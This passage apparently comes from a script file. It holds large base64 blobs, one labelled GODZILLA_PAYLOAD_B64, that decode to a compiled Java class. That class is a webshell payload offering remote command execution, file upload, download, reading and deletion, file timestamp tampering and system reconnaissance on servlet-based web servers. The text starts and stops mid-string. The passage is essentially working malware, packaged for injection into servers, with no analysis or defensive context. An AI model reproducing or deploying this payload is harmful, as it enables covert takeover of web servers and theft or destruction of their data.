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";
221
240
  var GODZILLA_PAYLOAD_B64 = "yv66vgADAC0FaAcAAgEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmN